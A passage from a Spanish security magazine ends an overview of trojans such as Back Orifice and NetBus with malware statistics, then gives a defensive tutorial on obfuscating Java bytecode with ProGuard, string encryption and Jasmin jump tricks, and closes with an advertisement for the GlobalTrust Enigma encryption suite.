todas formas, los piratas informáticos (y losresponsables de seguridad) suelen utilizar herramientas mucho más sofisticadas para rastrear los posibles objetivos. Ya se ha indicado una de las grandes diferencias entre estos dos troyanos: Back Orifice no corre en Windows NT. Por otra parte, Back Orifice es capaz de cifrar la comunicación entre el cliente y el

54

www.hakin9.org

Programas malignos

servidor, algo que no hace NetBus. En cambio, este último permite ciertas lindezas adicionales, como abrir y cerrar la unidad de CD-ROM o modificar las funciones de los botones del ratón. Otra diferencia importante es el tamaño del servidor. La última versión del servidor de NetBus (NetBus Pro 2.0) supera los 600 Kb, mientras que el servidor de Back Orifice 1.2, sólo ocupa 122 Kb. El tamaño resulta importante cuando el atacante quiere ocultar el caballo de Troya dentro de una aplicación. Resulta menos sospechoso un aumento de 122 Kb que uno de 600 Kb con respecto a la aplicación original. Por último, la versión más reciente de NetBus presenta nuevas opciones, pero es su nueva ventana de gestión del cliente, con ayuda en línea incluida, donde marca la diferencia con respecto a Back Orifice. La instalación y la aplicación resultan tan profesionales, que su frase de presentación casi parece cierta: NetBus Pro es una herramienta para la administración remota de ordenadores, de fácil uso y con un amigable entorno de gestión. Estadísticas obtenidas por la empresa de Antivirus Kaspersky Lab durante el primer semestre del año 2006, mostraron que la cantidad de nuevos códigos del tipo caballo de Troya – incluyendo modificaciones – se incrementó mensualmente en un ocho por ciento, comparado con un período similar en 2005. Entre los más frecuentes estuvieron los clasificados como puertas traseras, que abren puertos de comunicación para la recepción de órdenes enviadas remotamente por un atacante, así como los

Sobre el Autor

Carlos Javier Fornés Cabrera Ingeniero Telecomunicaciones y electronica Laboratorio Antivirus Latinoamericano. SEGURMATICA fornes@segurmatica.cu Ciudad de la Habana – CUBA

descargadores, que una vez ejecutados por el usuario intentan descargar otros códigos desde Internet. También estuvieron los ladrones de passwords, que usurpan contraseñas empleadas en los sistemas, y los programas espía, los cuales auditan las acciones realizadas en los sistemas afectados. La causa fundamental de esta mayor propagación de troyanos fue su empleo en la creación de redes de computadoras robots o zombies, muy utilizadas en el envío de correo basura o spam y en el robo de datos personales e información corporativa. Según Kaspersky Lab, en igual intervalo de tiempo, los gusanos y los virus tuvieron un decremento del uno por ciento en las muestras mensuales, siendo apreciable además la disminución de epidemias globales causadas por los que se propagan por medio del correo electrónico. En cuanto a este último aspecto, la organización MessageLabs detectó que 1 de cada 92 mensajes revisados desde Mayo a Octubre de 2006 contenía código maligno, cifra muy inferior a la relación uno de cada diez alcanzada en Abril de 2004. La relación de programas malignos más detectados por su servicio de revisión de mensajes en los últimos 12 meses la encabezó el gusano Sober.y. Es importante señalar que aun cuando el número de las grandes epidemias globales decreció, precisamente a finales de Octubre de 2006 comenzó la propagación más importante del año, que se trató de una familia de códigos malignos llamada Warezov, difundidos por e-mail y que al ser ejecutados por el usuario receptor intentaron la descarga de otros componentes desde Internet; aunque su aspecto más interesante y peligroso fue la cantidad de nuevas variantes diferentes distribuidas en pocas horas. Existen muchos tipos de códigos malignos que no pudiéramos mencionarlos en un solo artículo.

De tipo Espías, se hospedan en el equipo y aparentemente no hace nada, pero sin embargo están vigilando toda tu actividad, contraseñas, número de tarjetas de créditos y otros datos importantes. Los recopila los manda por diferentes vías al atacante. Programas malignos que estafan, simulan ser una sucursal bancaria imitando una página web de algún banco para que el usuario que es su banco real y al introducir los datos bancarios, los copia y los envía al atacante. Programas Malignos que chantajean, infectan el equipo y solicitan depositar dinero en algún lugar o descargar una herramienta en Internet pagando por ella, con el fin de desinfectar el equipo y hacerlo inmune a este tipo de software. Cada vez es mayor la creatividad de algunos autores de códigos malignos, que si bien en algunos casos retoman experiencias anteriores, ahora buscan nuevas variantes e incluso campos de acción, como la telefonía inteligente. Según Raimund Genes, director de sistemas de la compañía Trend Micro, un código maligno tipo exploit que se aprovecha de una vulnerabilidad en Windows Vista no publicada, tiene un precio de venta aproximado de 50.000 dólares y de entre 20.000 ó 30.000 dólares para otros sistemas y aplicaciones. Los programas malignos que se emplean en el envío de spam o correo basura cuestan alrededor de 5.000 dólares, mientras que los elaborados para crear y controlar las redes zombies o botnets se venden entre 5.000 a 20.000 dólares. Otro tanto sucede con los utilizados en el robo de información, con un precio que varía entre 5.000 y 20.000 dólares. Tal como plantea Sergio Santos, especialista de Hispasec, y ha venido denunciando Eugene Kaspersky, reconocido experto internacional en la temática, los creadores de programas malignos tienen así una motivación económica con la creación de un producto para un mercado concreto que se rige por la ley de la oferta y la demanda. l

www.hakin9.org

55

Ofuscación de Código en Java
Defensa
Javier Alcubierre

Grado de dificultad

Los actuales lenguajes de bytecodes como Java presenta muchas ventajas, pero uno de los inconvenientes que poseen es que son fáciles de descompilar, lo que permite no solo obtener el código máquina sino obtener código de alto nivel similar al escrito por el programador.

E

sto supone una ayuda apreciable para desentrañar el funcionamiento interno del programa. Pero no solo está en peligro ese código que tantas horas nos ha costado construir y que preferimos que siga oculto, además puede servir como valiosa fuente de información para posibles ataques contra nuestra aplicación. Desgraciadamente el alto nivel de los lenguajes máquina usados en estas máquinas virtuales y su rigidez en lo que consideran un código valido y seguro para ejecutar, nos deja con pocas opciones usar técnicas que intenten confundir al descompilador. Solo nos queda intentar confundir al humano que usa el descompilador. El fin de la ofuscación es complicar la vida al curioso que descompilar nuestro código, en lugar de encontrarse con un relativamente sencillo de entender código de alto nivel choca con un código confuso y difícil de desentrañar. La ofuscación no impide que se pueda acabar sacando el código original, pero dificulta el trabajo. Con suerte lo dificulta tanto que el curioso pronto pierde su curiosidad. Un error es pensar que el atacante quiere todo el código de nuestra aplicación, lo más

probable es que solo esté interesado en una pequeña parte del código e incluso que no esté interesado para nada en copiar el código, que su único fin sea descubrir como funciona alguna parte de nuestro código, quien sabe con que fin. A lo largo de este artículo vamos a ver como funcionan las diferentes técnicas de ofuscación y algunos de sus puntos débiles. Para empezar necesitaremos un archivo que proteger en este caso nuestro fin será proteger el archivo math.java (Listado 1) de posibles ataques de los curiosos. Para ello usare-

En este artículo aprenderás...
• • • A proteger tu código de miradas indiscretas, Los puntos fuertes y débiles de los distintos métodos de ofuscación, A implementar tus propios métodos de ofuscación.

Lo que deberías saber...
• • Conocimientos de Java, Conocimientos básicos de ensamblador.

56

www.hakin9.org

Código Java

mos varias herramientas y recursos, se podría haber hecho con menos herramientas, pero creo que será útil que el lector pueda conocer cuantas más mejor.

Nuestras armas

Antes de empezar la batalla es bueno que conozcamos un poco nuestras armas, por desgracia explicar el funcionamiento de todas ellas va más allá del fin, y del espacio, de este artículo. Se van a usar varias aplicaciones, no quiere decir que sean las únicas que hay o que sean las mejores, para elegirlas se ha procurado valorar su calidad, fama, comodidad de uso, que sean fáciles de conseguir, que estén bien documentadas y a ser posible que su código esté disponible por si el lector quisiera profundizar más en su funcionamiento. La dirección de la página web de cada una de las aplicaciones se puede encontrar en el recuadro En la Red al final del artículo, desde esas direcciones podréis descargar los programas además de encontrar completa informa-

ción de como instalarlos y manuales de uso. La primera herramienta que usaremos será el ya de sobras conocido JDK de Sun, por lo que nos ahorraremos explicar qué es y cómo funciona. Para desensamblar los .class a código ensamblador usaremos Jasper, de esa forma obtendremos un archivo de texto que podremos modificar a mano. Para volver a convertir este lenguaje ensamblador a bytecodes usaremos Jasmin ya que el lenguaje ensamblador que usan ambos programas es idéntico. Probaremos que resultado dan nuestras técnicas descompilando con JODE, que a su vez también permite ofuscar código. Aunque procuraremos hacer nuestra propias técnicas, en la parte de ofuscación de nombres se ha optado por usar ProGuard una excelente aplicación que además de ofuscar permite optimizar y reducir el tamaño de los ficheros de bytecodes. Una vez que se ha pasado lista a todas nuestras tropas vamos a empezar a usarlas. Empezaremos por compilar nuestro código, en este

caso el fichero math.java (Listado 1). Para ello basta con tener instalado el JDK y ejecutar el siguiente comando:
javac math.java

Una vez obtenido math.class los vamos a descompilar usando JODE, para ello, desde usamos el comando (cuidado de no sobrescribir el math.java original):
java jode.decompiler.Main math > math.java

Podemos ver el resultado en el Listado 2. El código obtenido es casi similar al original, aunque el nombre de las variables es más inteligible, resulta sencillo de entender. Nuestro fin es que este código resulte tan difícil de entender como podamos. Veamos ahora como es el código a nivel de lenguaje máquina, para ello desensamblaremos el .class usando Jasper. El comando es muy sencillo:
java –jar Jasper.jar math.class

Listado 1. Código de ejemplo sobre el que se va a trabajar
import java.io.*; public class math{ public int factorial(int numero){ for(int indice = numero-1; indice > 1; indice--) numero = indice * numero; return numero; } public int rand(int inicio, int fin){ return (int)(Math.random() * fin) + inicio; } public int equal(int a, int b){ if(a == b) return 0; else if(a > b) return 1; else return -1; } public static void main(String args[]){ System.out.println("New math"); math m = new math(); System.out.println("Call math.factorial()"); System.out.println(m.factorial(5)); System.out.println("Call math.rand()"); System.out.println(m.rand(0,5)); System.out.println("Call math.equal()"); System.out.println(m.rand(1,5)); } }

Se genera un archivo math.j con el código en ensamblador en forma de texto plano. En el recuadro En la Red podéis encontrar un link a una referencia completa de este lenguaje. El resultado es demasiado grande como para incluirlo por lo que solo incluiremos la función rand que podéis ver en el Listado 3. Viendo el código vamos a intentar explicar algunas bases del lenguaje ensamblador usado y de la propia máquina virtual de Java. Si nos fijamos en la primera línea del Listado 3, veremos que es donde se declara el nombre del método rand.
.method public rand(II)I

Las dos I entre paréntesis indica que recibe dos parámetros de tipo Integer y la I fuera de los paréntesis que el método devuelve a su vez un Integer.
.limit stack 4

www.hakin9.org

57

Defensa

Indica la cantidad de espacio en la pila que va a usar esta función. La pila esta dividida en distintos bloques cada uno de un tamaño de un Integer. Java opera directamente sobre la pila.
.limit locals 3

Con esto ya tenemos suficiente para trabajar en los próximos apartados.

Ofuscación de nombres

Listado 3. Método rand (int inicio, int fin) en lenguaje maquina
.method .limit stack .limit locals .line invokestatic iload_2 i2d dmul d2i iload_1 iadd ireturn .end method public rand(II)I 4 3 12 java/lang/Math /random()D

Indica el número de variables locales usadas en el método.
.line 12

Es un etiqueta de depuración, indica a que numero de línea del código fuente original corresponden las siguientes instrucciones en código máquina. Los operandos van precedidos de una letra i, l, d, f que indica si operan sobre datos de tipo integer, long, double o float respectivamente. Estas mismas letras se usan para las instrucciones de conversión para indicar el tipo de origen y el de destino. Por ejemplo i2d convierte el primer elemento de la pila de tipo integer a tipo double .

La primera de las técnicas que vamos a ver consiste en ofuscar los nombres de los métodos, clases y paquetes, cambiándolos por otros menos descriptivos como pueden ser a, b, c. La idea es simple pero puede llegar a causar más de un dolor de cabeza en quien intenten entender el código fuente. Es más sencillo entender el significado de una función llamada factorial(int n) que una cuyo nombre es a(int n). En el primer caso el nombre te escribe claramente su función mientras que en el segundo no queda más remedio que analizar el código de la función. Vamos a ver como funciona con nuestro ejemplo math.java (Listado 1), para ello vamos a usar ProGuard. Para poder usar ProGuard necesitamos crear un archivo de configuración que le indique a ProGuard con que ficheros trabajar y como hacerlo. El fichero, al que llamare-

Listado 2. Resultado de descompilar math.class
public class math { public int factorial(int i) { for (int i_0_ = i - 1; i_0_ > 1; i_0_--) i = i_0_ * i; return i; } public int rand(int i, int i_1_) { return (int) (java.lang.Math.random() * (double) i_1_) + i; } public int equal(int i, int i_2_) { if (i == i_2_) return 0; if (i > i_2_) return 1; return -1; } public static void main(String[] strings) { System.out.println("New math"); math var_math = new math(); System.out.println("Call math.factorial()"); System.out.println(var_math.factorial(5)); System.out.println("Call math.rand()"); System.out.println(var_math.rand(0, 5)); System.out.println("Call math.equal()"); System.out.println(var_math.rand(1, 5)); } }

mos math.pro, podemos verlo en el Listado 4. En la primera línea se indica el nombre del jar a ofuscar, en la segunda el nombre que tendrá el .jar con el código ofuscado. La opción de -libjars indica que librerías usa la aplicación. Como solo queremos ofuscar tenemos que indicar que no realice optimizaciones ni reduzca el código para ello usamos -dontshrink y -dontoptimize. Por último la opción de –keepclasseswithmembers sirve para evitar que ofusque el método main ya que es necesario para que se pueda ejecutar la aplicación. Como ProGuard funciona con archivos .jar tendremos que crear nuestro propio jar a partir de math.class, para ello una vez compilado usando:
javac math.java

Crearemos el jar con:
jar cvfM math.jar math.class

Ahora ya podemos ejecutar ProGuard.
java -jar proguard.jar @math.pro

Por último extraeremos el fichero math.class de math.jar
Jar xf math_out.jar

Obtendremos el fichero math.class, solo queda comprobar los nombre de los métodos que contiene, el

58

www.hakin9.org

Código Java

resultado lo podemos ver en el Listado 5.
javap math

Uno de los principales puntos débiles de esta técnica es que no se pueden ocultar los puntos de entrada, la función main sigue teniendo la misma firma:
public static void main(String args[])

Se puede ver que ha llamado a dos métodos de la misma manera pese a ser diferentes, lo que puede complica aun más el descifrar el funcionamiento del programa.

Es necesario para que la máquina virtual de Java sepa por donde tiene

Listado 4. Archivo de configuración para ofuscar nombres usando ProGuard
-injars math.jar -outjars math_out.jar -libraryjars <java.home>\lib\rt.jar -dontshrink -dontoptimize -keepclasseswithmembers public class * { public static void main(java.lang.String[]); }

Listado 5. Firmas obtenidac con javap después de ofuscar nombres
public class math extends java.lang.Object{ public math(); public int a(int); public int a(int, int); public int b(int, int); public static void main(java.lang.String[]); }

Listado 6. Clase para cifrar y descifrar cadenas de texto
import java.math.BigInteger; public class Cipher { public static BigInteger descipher(byte[] text, byte[] key) { BigInteger a = new BigInteger(text); BigInteger b = new BigInteger(key); a = a.divide(b); return a; } public static BigInteger cipher(String text, String key) { BigInteger a = new BigInteger(text.getBytes()); BigInteger b = new BigInteger(key.getBytes()); a = a.multiply(b); return a; } public static void main(String args[]) { if (args.length < 2) { System.out.println("java cipher text key"); System.exit(1); } byte[] c = cipher(args[0], args[1]).toByteArray(); System.out.print("{"); for (int i=0; i<c.length-1; i++) System.out.print(c[i] + ", " ); System.out.print(c[c.length-1] + "}" ); } }

que empezar a ejecutar la aplicación. Este problema se repite muchas veces, cada vez que implementemos interfaces por ejemplo. Esto da una importante pista a nuestro curioso que le proporciona un hilo del que tirar para deshacer la madeja. Pero también nos podemos encontrar con el mismo problema a la inversa, pongamos el caso de que estamos desarrollando una librería de uso general, los usuarios de esta se sorprenderían mucho si las funciones se llamaran a, b, c, la ofuscación no solo molestaría al curioso también al resto de los usuarios. Otro problema es que no se pueden ofuscar los nombres de los métodos de la API de Java, lo cual da más pistas de lo que hace la función. Una posible forma de evitar esto es mapear todos los métodos de la API en otra clase, cambiando así su nombre. Esta estrategia solo durará hasta que nuestro curioso encuentre la clase donde se mapean las llamadas a los métodos. Una idea interesante para aplicar a este método es usar un poco de ingenio y en lugar de sustituir los nombre por a, b, c hacerlo por nombre con sentido pero que no describan la función real. Por ejemplo podríamos llamar a nuestras funciones odd , add , div, y si viéramos solo el main nos haríamos una idea equivocada de cómo funciona el programa. Esta idea solo durará hasta que se compruebe el código de estos métodos pero hemos podido hacer perder un buen montón de tiempo al curioso. Sin alejarnos mucho de esta línea otro buen truco es usar como nombre de variables palabras reservadas de Java como while, if, do. El compilador no permite usar palabras reservadas como nombre de funciones, pero la máquina virtual no da problemas si se encuentra con una clase cuyas funciones se llaman como alguna palabra reservada. El truco es cambiar el nombre a nivel de código máquina. Al descompilar se encontrará que no podrá volver a compilar sin cambiar el nombre de todos los métodos y sus respectivas llamadas, por desgracia actualmente

www.hakin9.org

59

Defensa

este método funciona con pocos descompiladores ya que detectan que el nombre es una palabra reservada y lo cambian ProGuard da la opción de indicarle un archivo de diccionario del que sacará las nuevos nombres para los métodos que renombre. Para usar esta opción hemos de añadir la siguiente línea a math.pro.
-obfuscationdictionary nombre_de_diccionario

ProGuard, en el directorio \examples\ dictionaries, incluye varios ejemplos de diccionarios que son simples archivos de texto plano con las palabras a utilizar.

Cifrado de cadenas

El siguiente método que vamos a ver es el cifrado de cadenas, la idea es cifrar las cadenas de texto contenidas en el código fuente de la aplicación. Pese a que muchos ofuscadores ya no incorporan este método por considerarlo ineficaz, resulta útil, si nos fijamos en el ejemplo de nada servirá ofuscar el nombre de las clases si antes de llamarlas mostramos su nombre o describimos que hacen en un mensaje de texto. El ejemplo puede parecer exagerado, pero las cadenas de texto usadas en cada método pueden dar muchas pistas sobre su función, sobre todo los mensajes de error. Este método se considera ineficaz ya que al tener que incluir el có-

digo necesario para descifrar las cadenas nuestro curioso puede usarlo y descifrar por su cuenta nuestras cadenas, además de que no es necesario entender los mensajes de texto para entender el programa. Usado junto con la ofuscación de nombres puede dar buenos resultados. El mayor problema que tiene es la carga que supone descifrar las cadenas. Sin embargo, hay veces en que este método puede compensar, por ejemplo cuando se usan cadenas de texto en forma de scripts o comandos, el ejemplo más fácil de entender es con las sentencias SQL que se almacenan en forma de cadenas de texto. Puesto que mucho ofuscadores ya no implementan esta característica vamos a crear nuestra propia clase de cifrado. El ejemplo usa un cifrado muy sencillo, pero que aporta una ventaja, el método usado no parece a simple vista un cifrado y descifrado de cadenas. Realmente no es necesario romperse la cabeza con complejos métodos de cifrado, nuestro curioso no va a atacar el algoritmo de cifrado, va a buscar como el método de descifrado y lo va a usar directamente. El código de nuestro método de cifrado se pude ver en el Listado 6, la idea principal es que parezca una operación con BigInteger en lugar de un cifrado de cadenas. Su funcionamiento es muy sencillo convierte el texto a cifrar y la clave en un array de bytes que usa para inicializar

Listado 8. Método factorial(int numero) en lenguaje maquina
.method public factorial(I)I .limit stack 2 .limit locals 3 .line 6 iload_1 iconst_1 isub istore_2 LABEL0x4: iload_2 iconst_1 if_icmple LABEL0x13 .line iload_2 iload_1 imul istore_1 .line 6 iinc 2 -1 goto LABEL0x4 .line 8 LABEL0x13: iload_1 ireturn .end method

una variable de tipo BigInteger, para el texto y otra para la clave. Posteriormente opera con las dos variables, en este caso las multiplica pero se podría usar cualquier otra operación o mezcla de operaciones siempre y cuando sean reversibles. El BigInteger obtenido se vuelve a convertir en un array de bytes, que será el que se usará en lugar del texto original. Para entenderlo mejor vamos a cifrar la clásica cadena Hello World!, para ello usaremos nuestra clase Cipher.java, por lo que habrá que compilarla.
javac Cipher.java

Listado 7. Ejemplo de hola mundo con cadenas de texto cifradas
import java.math.BigInteger; public class hello { public static BigInteger descipher(byte[] text, byte[] key) { BigInteger a = new BigInteger(text); BigInteger b = new BigInteger(key); a = a.divide(b); return a; } public static void main(String args[]) { byte[] c ={29, -123, -30, -71, 71, -40, 113, -21, 80, 43, 26, -92, 59, -102, 41, 86, 79}; String text = new String(descipher(c, "hello".getBytes()).toByteArray()); System.out.println(text); } }

Luego cifraremos la cadena de texto usando como contraseña la palabra hello como contraseña.
java Cipher "Hello World!" key > hello.txt

Con estos pasos habremos obtenido un archivo hello.txt con el siguiente contenido:
{29, -123, -30, -71, 71, -40, 113, -21, 80, 43, 26, -92, 59, -102, 41, 86, 79}

60

www.hakin9.org

Código Java

Que no es otra cosa que la cadena cifrada, que se tendrá que pasar junto con la clave al método de descifrado para obtener el texto original. El descifrado funciona exactamente igual que el cifrado, difiere en las operaciones que se realizan ya que hay que deshacer el cifrado, en este caso basta con dividir. En el Listado 7 se puede ver un hola mundo con la cadena cifrada. Para simplificar el ejemplo y facilitar su comprensión se han cometido algunos errores que no se deben de cometer en un caso real. Para empezar el método de descifrado no debe llamarse descipher ni nada parecido, la clave usada no debe de ponerse directamente en forma de cadena de texto y por último se debe de intentar ocultar en todo lo posible que el valor devuelto por ese método se convierte en una cadena de texto.

Ofuscación de código

La ofuscación del código consiste en enrevesar tanto el código que resulte difícil de entender tanto por las personas como por los programas de desensamblado o descompilado. Se puede realizar por dos vías, ofuscando el código de alto nivel y ofuscando el código máquina. La primera vía puede parecer la más sencilla, pero convertir el código fuente en algo inteligible requiere experiencia e imaginación, bien aplicada puede ser realmente difícil de descifrar, aunque un curioso suficientemente motivado podría desentrañar poco a poco el funcionamiento del código. Este primer método se la dejo al lector para que haga sus pruebas y desarrolle sus trucos, es fácil encontrar gran cantidad de ejemplos, sobretodo en leguaje C, de código ofuscado. Nos vamos a ocupar de la segunda vía, la de ofuscar a nivel de código máquina. La idea es modificar el código de tal forma que el descompilador sea incapaz de obtener código de alto nivel a partir del de bajo nivel. Para ello vamos a jugar con el flujo del código de tal manera que le sea imposible al descompilador reconstruirlo. Para ello tenemos que buscar instrucciones a nivel de código má-

quina que no tengan equivalente en lenguaje de alto nivel. Si miramos el listado de instrucciones vemos que podemos usar la instrucción goto que realiza un salto incondicional a una etiqueta. Pero solo con eso no es suficiente, el desensamblador es capaz de organizar el código para prescindir de la sentencia goto. Debemos evitar que el ensamblador sepa que camino va seguir el código, para ello usaremos sentencias de salto condicional. Es muy importante que en los bloques de código que incluyamos no alteremos la pila, hemos de dejarla tal y como estaba antes de ejecutar nuestro código. Tampoco podemos sobrepasar el tamaño de la pila, y no podemos saltar a ninguna parte del código en el que pueda haber variables no inicializadas. Vamos a ver un ejemplo, como el método factorial de math.java. Para ello como ya hemos visto desensamblamos usando Jasper, el código del método desensamblado está en el Listado 8 y en el Listado 9 el código modificado. Si nos fijamos solo incluimos dos bloques de código, uno al principio con una condición que envía al principio del código del método o salta casi al final del método, justo antes del segundo bloque, que hace lo mismo o manda al principio del código o salta al final de la aplicación. La condición comprueba si los dos últimos datos almacenados en la pila son iguales y si lo son salta. Se puede ver que la condición se cumplirá siempre ya que en las operaciones anteriores hemos almacenados dos ceros en las pilas. Por lo que en el primer bloque se saltará al inicio del código original del método y en el segundo al final del método con lo que todo se ejecutara con normalidad, pero el descompilador no lo sabe y tendrá que encontrar la manera de pasar ese código a Java, sin embargo Java no permite los saltos dentro del código y el descompilador no es lo suficientemente hábil como para encontrar otra solución. Podemos ver que a pesar de los cambios el programa funciona correctamente

incluyendo las modificaciones en math.j y ensamblando el código con Jasmin.
Java Jasmin math.j

Así comprobaremos que la ejecución se realiza sin ningún problema. Sin embargo al intentar descompilarlo nos llevamos una sorpresa, en el Listado 10 se puede ver el código del método factorial descompilado con JODE. Es inteligible y no compila, y eso que hemos usado un ejemplo bastante simple. Combinando varios bloques de estos a lo largo del código de un método, podemos hacer el código indescifrable para el descompilador. El punto débil de este sistema es que el curioso siempre podrá desensamblar el código e intentar arreglar Listado 9. Cambios introducidos en factorial (int numero) para ofuscar su código
.method public factorial(I)I .limit stack 4 .limit locals 3 .line 6 iconst_0 iconst_0 if_icmpeq LABELo1 goto LABEL0x13 LABELo1: iload_1 iconst_1 isub istore_2 LABEL0x4: iload_2 iconst_1 if_icmple LABEL0x13 .line 7 iload_2 iload_1 imul istore_1 .line 6 iinc 2 -1 goto LABEL0x4 .line 8 LABEL0x13: iconst_0 iconst_1 if_icmpeq LABELo1 goto LABELfin LABELfin: iload_1 ireturn .end method

www.hakin9.org

61

Defensa

el código para que el descompilador funcione.

Otras técnicas

Para cerrar este artículo se van a comentar algunas técnicas más para complicar la vida a los diversos curiosos.

No incluir información de depuración

Es una buena idea compilar el código Java usando el parámetro –g: none, así se evita que se incluya información de depurado en los bytecodes. Eso dificultara la pruebas para entender el funcionamiento de la aplicación.

ventajas. La primera es que no es una solución aplicable de manera genérica ya que en muchos entornos no se podrá aplicar. Aparte de esto el principal problema que se presenta es la carga de trabajo que tendría que soportar nuestro equipo remoto. También hay que tener en cuenta que mucha gente no se fiara de una aplicación que envíe sus datos a no se sabe donde. Otro factor a tener en cuenta es el retardo que introduce la transferencia de datos y su ejecución en remoto.

log usando mensajes propios, o cifrados, que solo tengan sentido para quien se va a ocupar de mantener la aplicación y no para el usuario.

Implementar bugs de los desensambladores

Incluir código dependiente del sistema

Ejecutar el código en remoto

La forma más segura de evitar que desensamblen el código es no dárselo. Para ello lo que podemos hacer es ejecutar la parte del código que queramos proteger en un equipo remoto que consideremos seguro. Esta solución asegura que ningún ojo indiscreto pueda ver el código. Pero presenta más inconvenientes que Listado 10. Resultado obtenido de descompilar factorial (int numero)
public int factorial(int i) { IF (false == false) GOTO flow_8_0_ GOTO flow_30_1_ flow_8_0_: int i_0_ = i - 1; for (;;) { IF (i_0_ <= 1) GOTO flow_30_1_ i = i_0_ * i; i_0_--; } flow_30_1_: IF (false == true) GOTO flow_8_0_ GOTO flow_35_2_ flow_35_2_: GOTO flow_38_3_ flow_38_3_: int i_1_ = i; GOTO flow_39_4_ flow_39_4_: int i_1_; return i_1_; GOTO END_OF_METHOD }

Otra forma de complicar la vida a los curiosos es implementar parte de la aplicación en forma de código ejecutable tradicional, mucho más difícil de analizar y entender y que permite técnicas de protección más eficaces. Con ello se pierde una característica fundamental de Java su independencia de plataforma por lo que habrá que generar código ejecutable para todas las posible plataformas donde se pueda ejecutar la aplicación.

Cifrar las clases

Cifrar las clases imposibilita que estas puedan ser directamente descompiladas, pero presenta los mismo problemas que se comentaba para el cifrado de cadenas, es reversible e introduce una demora la aplicación. Sin embargo, hará que muchos curiosos desistan.

En las páginas web de la mayoría de los desemsambladores, se pueden encontrar una lista de bugs. Podemos usar esta información en su contra. Incluir en nuestras clases esos bugs, aunque sea en forma de código basura puede dificultar e incluso imposibilitar el descompilar el programa. Por desgracia este método tiene dos pegas. Tienen fecha de caducidad ya que solo es eficaz hasta que el bug se corrija y puede resultar bastante costoso implementar bugs de todos los descompiladores más usados, ya no hablemos de implementar algún bug de todos los existentes. Hay que recordar un punto y es que todas las técnicas usadas son reversibles. Sin embargo un uso inteligente y bien combinado de ellas puede crear serias dificultades a cualquier curioso que quiere ojear nuestro código. Pese a los métodos aquí explicados y las herramientas que actualmente existen, la mejor forma de ofuscar código sigue siendo la imaginación de cada uno.

Conclusión

Ocultar errores y logs

Muchos logs sirven, entre otras cosas, para saber que ha fallado en caso de que la aplicación no funcione correctamente, lo malo es que se pueden usar para obtener información e incluso permiten trazar el funcionamiento de la aplicación. Hay que evitar ante todo mostrar en pantalla o almacenar en el log las excepciones y aun menos usar el método printStackTrace() que muestra una traza completa de ejecución en el punto del programa que ha fallado. Sin embargo en muchos casos es necesario mantener estos logs. La mejor opción es mantener el

En un lenguaje como Java resulta difícil proteger el código de los curiosos, pero las técnicas de ofuscación pueden dificultarle tanto la labor que desista. No hay ninguna técnica infalible y la mejor opción es combinar varias de ellas. Pero ante todo la mejor técnica es usar la imaginación propia e intentar engañar al curioso. l

Sobre el Autor

Javier Alcubierre es diplomado en Ingeniería Informática de Sistemas y licenciado en Ingeniería Informática. Siempre se ha sentido atraído por la seguridad informática y sus distintas vertientes.

62

www.hakin9.org

P

U

B

L

I

C

I

D

A

D

GlobalTrust

Enigma Lite Desktop Edition
Los documentos empresariales y los datos personales son un patrimonio importante que hay que proteger frente al robo, el malo uso y el acceso no autorizado por parte de los usuarios, tanto dentro como fuera de la organización. Además, la mayoría de la información personal y empresarial es transferida mediante mensajes de correo electrónico o redes geográficas.
La suite Enigma Lite Desktop Edition ofrece una solución modular y escalable para asegurar el almacenamiento y la transferencia de documentos; no sólo satisface los requerimientos de usuarios individuales, protegiendo su ordenador de sobremesa o su portátil, sino que también satisface los de redes geográficas o locales de grandes organizaciones. Enigma permite aplicar las políticas de seguridad más estrictas y asegurar la protección y la privacidad de archivos, correos electrónicos, bases de datos y de todo el flujo de documentos. De acuerdo al Código de Privacidad, los datos digitales sensibles (pe. datos judiciales, información relacionada con la salud) tienen que encriptarse o hacerse inaccesibles mediante el uso de soluciones tecnológicas que estén actualmente disponibles en el mercado. El Código también preve estrictas sanciones en el caso de que se incumpla la ley.

POR QUÉ ENIGMA? (MERCADO ITALIANO)
En Italia hay una gran demanda de soluciones fáciles de utilizar capaces de proteger los documentos en formato electrónico y los datos personales almacenados en ordenadores personales (especialmente portátiles) y archivos de organización de los siguientes dominios: • • • • • Militar (e.g. Encriptación de Documentos Clasificados), Financiero (e.g. No repudiation Digital Messaging), ISP (e.g. Transacciones on-line seguras y Almacenamiento), Integrador de Sistema (e.g. Solución de Gestión de Documentos segura), Universidad y otras instituciones de educación, Empresa, Vendedores (SW/HW), y otros.
Figura 1. Cupón

POR QUÉ ENIGMA? (CAMBIOS LEGALES)
En Italia se han introducido leyes y reglamentos nuevos, como el decreto legislativo 196/2003, también conocido como El Código de Privacidad, impuesto para proteger los datos personales frente a riesgos tales como la destrucción, perdida o el acceso no autorizado: ésta es la razón por la que instituciones, grandes empresas, PYMES y profesionales tienen que cumplir las medidas mínimas de seguridad en lo referente al procesamiento de datos.

Figura 2. Página Web de Enigma

de fecha, destrucción segura, verificación de autenticidad y validación de certificados digitales.

Acerca de GlobalTrust GlobalTrust es una autoridad de certificación y registro, reconocida a nivel mundial, capaz de emitir todo tipo de certificados y tecnologías de seguridad digital; usando las técnicas de seguridad más avanzadas, autenticación, verificación y cobertura mediante seguros. GlobalTrust es una autoridad independiente en la protección frente ataque provenientes de la Red. Gracias a su tecnología, GlobalTrust permite asegurar las transacciones on-line a organizaciones de cualquier tamaño, siempre teniendo en cuenta la relación calidad/precio.

• • •

ESTÁ INTEGRADO CON SISTEMAS WINDOWS Y MICROSOFT OFFICE
Enigma Lite Desktop Edition es una solución diseñada para sistemas operativos Microsoft: los componentes de Seguridad de los Documentos del Escritorio están completamente integrados con sistemas operativos Windows y los componentes de software del servidor se instalan en sistemas MS Windows Server.

Pero la oferta de productos y soluciones competitivas es inadecuada, ya que las existentes (BestCrypt, Signo y principalmente PGP) son poco conocidas o no están muy extendidas.

FUNCIONALIDAD ENIGMA
Seguridad Interna y Privacidad mayores Enigma Lite Desktop Edition es la mejor solución para gestionar datos personales de acuerdo a las leyes de privacidad (D.Lgs. n. 196/2003). Enigma Lite Desktop Edition le permite centralizar todas las operaciones que requieran la seguridad de documentos personales o empresariales: firmas digitales, criptografía, almacenamiento seguro, estampación

ESTÁ INTEGRADO CON APLICACIONES PKI

Contacto:

Página del producto: http://www.globaltrust.it/ http://www.enigmatrust.org, Sitio Web: http://www.globaltrust.it/.

Enigma Lite Desktop Edition usa los mecanismos criptográficos más avanzados y es compatible con los estándares X.509 y SSL v.3.0, permitiendo el uso y la gestión de identidades y certificados digitales. Además, Enigma es compatible con los estándares Common Access Card (CAC) y PKCS#11 (Cryptographic Token Interface Standard) para el uso SmartCards y llaves USB.

Publicidad

